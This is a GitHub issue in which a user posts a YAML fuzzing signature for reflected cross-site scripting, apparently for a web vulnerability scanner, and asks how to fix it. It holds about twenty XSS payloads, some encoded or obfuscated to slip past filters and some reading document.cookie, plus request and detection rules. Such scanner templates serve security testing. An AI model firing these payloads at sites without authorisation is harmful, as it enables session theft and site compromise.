Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

help #30

Open
Kalimon12 opened this issue Aug 15, 2021 · 0 comments
Open

help #30

Kalimon12 opened this issue Aug 15, 2021 · 0 comments

Comments

@Kalimon12
Copy link

fuzz xss
id: xss-reflected
type: fuzz
level: 1
info:
name: XSS Fuzz on Param Basic
risk: high

payloads:
- '<svg%20onx=()%20onload=(confirm)(123)>'
- '<script>alert(1)</script>'
- '"><svg/onload=alert(1337)>'
- '<svg/onload=alert(1)'
- ''
- '%22><svg%20onload=confirm(1);>'
- '"><svg/onload=alert(document.cookie)>'
- ''
- "onx+%00+onpointerenter%3dalert(domain)+x"
- '<svgononload=( alert )( document.domain )>'
- '/alert?.(1)%27"><Svg/OnLoad=%27'
- 'test",prompt%0A/HelloWorld/(document.domain)'
- '<script>name=%27alert(1)%27;location=%27//target%27;</script>'
- '<svg%0Aonauxclick=0;[1].some(confirm)//%20(1/4)'
- '<svg%0Aonauxclick=0;[1].some(confirm)//%20(1/4)'
- '<a"/onclick=(confirm)(document.cookie)>Click%20Here!'
- '<svgononload=(%20alert%20)(%20document.domain%20)>'
- 'onx+%00+onpointerenter%3dalert(domain)+x'
- '<x/onclick=globalThis[%27\u0070r\u006f%27+%27mpt%27]<)>clickme'
- 'javascript:https//www.google.com#%0aalert()'
- '"><img%20src=x%20onerror=alert(1)>'
- '%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E'

requests:

  • generators:
    • Query("{{.payload}}")
      detections:
      StringSearch("resHeaders", "text/html") && StringSearch("response", "{{.payload}}") && (StatusCode() == 200)

how fix

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant